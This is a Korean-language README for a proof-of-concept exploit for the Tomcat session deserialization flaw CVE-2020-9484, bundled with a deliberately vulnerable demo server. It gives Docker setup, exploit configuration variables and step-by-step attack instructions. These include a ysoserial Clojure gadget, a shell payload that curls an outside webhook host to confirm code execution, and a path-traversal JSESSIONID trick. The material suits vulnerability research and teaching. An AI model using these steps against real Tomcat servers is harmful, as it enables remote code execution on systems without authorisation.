
CVE-2020-9484용 PoC 익스플로잇 및 이를 시연하기 위한 취약한 웹 애플리케이션
이 저장소에는 CVE-2020-9484에 대한 개념 증명 익스플로잇과, 이 취약점에 노출된 예제 웹 서버가 포함되어 있습니다.
영향을 받는 Tomcat 버전은 다음과 같습니다:
PersistentManager가 활성화되어 있고 FileStore를 사용하고 있습니다..session 파일)를 제어할 수 있으며, 업로드된 위치를 알고 있어야 합니다.clojure 또는 commons-collections).예제 서비스는 /index.jsp(또는 /)와 /list.jsp 두 페이지로 구성된 웹 서버입니다. 이 서버는 사용자가 (현재 세션에 특화된) 파일을 업로드하고 다운로드할 수 있게 해주며, 사실상 파일 저장소 역할을 합니다.
/upload에 대한 POST 요청을 지원하여 파일 업로드를 지원하며, 사용자가 파일 이름을 선택할 수 있게 합니다. 따라서 .session 확장자를 가진 파일을 업로드하는 것이 가능합니다. 또한 서버가 파일을 /var/tmp/uploads 디렉토리에 저장한다는 것도 알려져 있습니다.FileStore를 사용하는 PersistentManager가 활성화되어 있습니다. (context.xml 참조)clojure:1.8.0이 있어 역직렬화 공격을 용이하게 합니다. (pom.xml 참조)취약한 예제 서비스를 설정하려면:
$ cd sample-vulnerable-server
$ docker build -t vulnerable_tomcat .
$ docker run -p 8085:8080 vulnerable_tomcat
이제 서비스는 http://localhost:8085/POC_CVE-2020-9484/에서 실행 중이어야 합니다.
이제 exploit.py 시작 부분의 구성 변수를 수정하세요. PAYLOAD(여기서는 셸 스크립트)는 서버가 실행할 수 있는 모든 파일이 될 수 있습니다.
UPLOAD_URL = 'http://localhost:8085/POC_CVE-2020-9484/upload' # vulnerable service's file upload endpoint
FILE_UPLOAD_FORM_FIELD = 'file' # as in the upload page's html form
FILE_UPLOAD_BASE_PATH = '/var/tmp/uploads/' # the location where the vulnerable service stores uploaded files on its server
JAVABIN = os.path.expanduser('~/.jdks/corretto-11.0.24/bin/java') # path to java executable, java 11 preferred; yoserial doesn't support newer versions
PAYLOAD = '''\
#!/bin/bash
curl https://webhook.site/4767be3e-f031-4f72-8605-5107d677b1c0/?RCE_SUCCESSFULLY_DEMONSTRATED
'''.encode() # payload for determining whether RCE attempt was successful.
YOSERIAL_PAYLOAD_TYPE = "Clojure" # this must be present in vulnerable server dependencies, for more details see https://github.com/frohoff/ysoserial?tab=readme-ov-file#usage
이제 exploit.py를 실행하세요. 다음 작업을 수행합니다:
.session 파일로 생성합니다. 이 객체들은 결국 서버에서 역직렬화됩니다:
PAYLOAD 파일에 실행 권한을 부여합니다.PAYLOAD 파일을 실행합니다.PAYLOAD를 파일로 서버에 업로드합니다..session 파일을 서버에 업로드합니다..sesssion 파일의 서버 세션 저장소 기준 경로를 JSESSIONID 쿠키 값으로 사용하여 서버에 요청을 트리거합니다. 이로써 서버에서 해당 파일의 역직렬화가 발생하고 이후 페이로드가 실행됩니다./path/to/uploads/base/directory/<value of JSESSIONID cookie>/uploads/filename 형태의 경로에 저장합니다. 이러한 경우, 파일 업로드 POST 요청에 exploit.py에서 사용된 임의의 값(예: "1337"*8) 대신 ../../../../tmp 형태의 JSESSIONID를 사용하면 업로드된 파일이 서버에 저장된 위치를 파악하는 데 도움이 될 수 있습니다.